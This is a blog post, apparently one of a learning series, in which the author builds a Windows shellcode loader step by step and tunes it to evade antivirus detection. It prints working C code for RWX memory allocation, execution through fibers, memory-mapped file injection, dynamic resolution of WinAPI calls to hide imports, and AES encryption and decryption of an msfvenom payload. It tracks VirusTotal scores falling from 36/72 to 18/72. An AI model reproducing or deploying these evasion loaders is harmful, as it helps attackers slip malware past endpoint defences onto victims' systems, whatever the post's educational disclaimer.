After completing the MalDev Academy course — which dives deep into modern malware development techniques — I wanted to put what I'd learnt into practice.
This series is my attempt to:
> Instead of building a tool just to evade antivirus, I want to design and iterate — building a tool, incorporating various techniques and understanding what gets flagged and why.
At its simplest, a shellcode loader is a program that:
In this form, the shellcode is completely visible and unchanged from its original format — making it very easy to detect and analyze. Additionally, the use of techniques like VirtualAlloc and RWX memory regions are well-known red flags to AV and EDR solutions.
#include <windows.h>
unsigned char shellcode[] = {
// shellcode payload (msfvenom -p windows/x64/exec CMD=calc.exe -f c)
};
int main() {
void* exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)(); // Jump to shellcode
}
In my learning, I found a technique I hadn't previously seen. Essentially fibers are threads within threads and have long been forgotten as computers have gotten better and better. As such, their obscurity may help them evade detection by some AV or EDR tools.
The technique essentially works the same as thread hijacking. However, instead you convert your thread to a fiber. Remote Fiber Hijacking can be seen in PoCs such as PoisonFiber. In this example it was kept basic and a local fiber was used instead.
void* execMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!execMem) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return;
}
memcpy(execMem, shellcode, sizeof(shellcode));
LPVOID currentFiber = ConvertThreadToFiber(NULL);
LPVOID shellcodeFiber = CreateFiber(0, ShellcodeFiber, execMem);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
return;
With this we get 36/72. Unfortunately not a great improvement on basic injection. Remote Fiber Hijacking will likely work better but for now it will do.
To try to improve on VirtualAlloc which is highly suspicious to AV, I switched to memory-mapped file which is arguably slightly less suspicious.
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);
if (hFile == NULL) {
printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
DWORD oldProtect;
memcpy(pMapAddress, shellcode, sizeof(shellcode));
LPVOID currentFiber = ConvertThreadToFiber(NULL);
LPVOID shellcodeFiber = CreateFiber(0, ShellcodeFiber, pMapAddress);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
UnmapViewOfFile(pMapAddress);
_EndOfFunction:
if (hFile)
CloseHandle(hFile);
return bSTATE;
With mapped memory we get a slight improvement of 31/72 but not what we're after, although it is an improvement considering the shellcode is still unencrypted and running from RWX memory.
Once again to try and improve, I dynamically resolved WinAPI calls within the program. Linking WinAPI functions statically results in them being listed in the executable's Import Address Table which means suspicious WinAPI usage will be easily flagged by AV/EDR products.
typedef LPVOID(WINAPI* fnCreateFiber)(
SIZE_T dwStackSize,
LPFIBER_START_ROUTINE lpStartAddress,
LPVOID lpParameter
);
typedef LPVOID(WINAPI* fnConvertThreadToFiber)(
LPVOID lpParameter
);
// include typedef for all functions based on WinAPI documentation
int main() {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
fnCreateFiber CreateFiberA = (fnCreateFiber)GetProcAddress(hKernel32, "CreateFiber");
fnConvertThreadToFiber ConvertThreadToFiberA = (fnConvertThreadToFiber)GetProcAddress(hKernel32, "ConvertThreadToFiber");
fnSwitchToFiber SwitchToFiberA = (fnSwitchToFiber)GetProcAddress(hKernel32, "SwitchToFiber");
fnDeleteFiber DeleteFiberA = (fnDeleteFiber)GetProcAddress(hKernel32, "DeleteFiber");
fnCreateFileMappingW CreateFileMappingA = (fnCreateFileMappingW)GetProcAddress(hKernel32, "CreateFileMappingW");
fnMapViewOfFile MapViewOfFileA = (fnMapViewOfFile)GetProcAddress(hKernel32, "MapViewOfFile");
fnUnmapViewOfFile UnmapViewOfFileA = (fnUnmapViewOfFile)GetProcAddress(hKernel32, "UnmapViewOfFile");
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
hFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);
if (hFile == NULL) {
printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapAddress = MapViewOfFileA(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
DWORD oldProtect;
memcpy(pMapAddress, shellcode, sizeof(shellcode));
LPVOID currentFiber = ConvertThreadToFiberA(NULL);
LPVOID shellcodeFiber = CreateFiberA(0, ShellcodeFiber, pMapAddress);
SwitchToFiberA(shellcodeFiber);
DeleteFiberA(shellcodeFiber);
UnmapViewOfFileA(pMapAddress);
While the score didn’t improve significantly, analysis of the VirusTotal detections revealed several were identifying the msfvenom payload.
To avoid having the shellcode simply stored within the file for easy static detection, an AES encrypted payload was added instead as well as a decryption function via Tiny AES library.
An encryptor project was created which generated a random IV and Key and then encrypted the shellcode with them. AES requires a payload dividable by 16 and if not, requires padding so a padding function was also created.
GenerateRandomBytes(pKey, KEYSIZE);
GenerateRandomBytes(pIv, IVSIZE); // Generating the IV
PrintHexData("pKey", pKey, KEYSIZE);
PrintHexData("pIv", pIv, IVSIZE);
// Initializing the Tiny-AES Library
AES_init_ctx_iv(&ctx, pKey, pIv);
if (sizeof(Data) % 16 != 0) {
PaddBuffer(Data, sizeof(Data), &PaddedBuffer, &PAddedSize);
// Encrypting the padded buffer instead
AES_CBC_encrypt_buffer(&ctx, PaddedBuffer, PAddedSize);
// Printing the encrypted buffer to the console
PrintHexData("CipherText", PaddedBuffer, PAddedSize);
outputSize = PAddedSize;
}
// No padding is required, encrypt 'Data' directly
else {
AES_CBC_encrypt_buffer(&ctx, Data, sizeof(Data));
// Printing the encrypted buffer to the console
PrintHexData("CipherText", Data, sizeof(Data));
outputSize = sizeof(Data);
}
This output could then replace our raw shellcode in the original project and our injection method could be updated to decrypt the payload first.
DecryptedPayload decrypt(void) {
// Struct needed for Tiny-AES library
struct AES_ctx ctx;
// Initializing the Tiny-AES Library
AES_init_ctx_iv(&ctx, pKey, pIv);
DecryptedPayload result = { 0 };
SIZE_T size = sizeof(CipherText);
PBYTE decrypted = (PBYTE)api.VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!decrypted) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return result;
}
// Decrypting
memcpy(decrypted, CipherText, size);
AES_CBC_decrypt_buffer(&ctx, decrypted, size);
result.data = decrypted;
result.size = size;
return result;
}
// and in fiber.c
DecryptedPayload payload = decrypt();
if (!payload.data) return;
memcpy(pMapLocalAddress, payload.data, payload.size);
With this we get a much better score of 18/72. Getting somewhere but still a long way to go.
I'm also aware VirusTotal does not provide the most accurate picture, although it does a good enough job to show progress and effectiveness of the techniques as I go. Hopefully these posts will eventually delve into EDR evasion although that may be further down the line.
The next goal will be to increase stealth and modularity by:
No prior experience with C or Malware Development. There may be mistakes or poor practices so if you spot any let me know.
All testing was performed in a controlled, isolated environment. This project is for educational and research purposes only.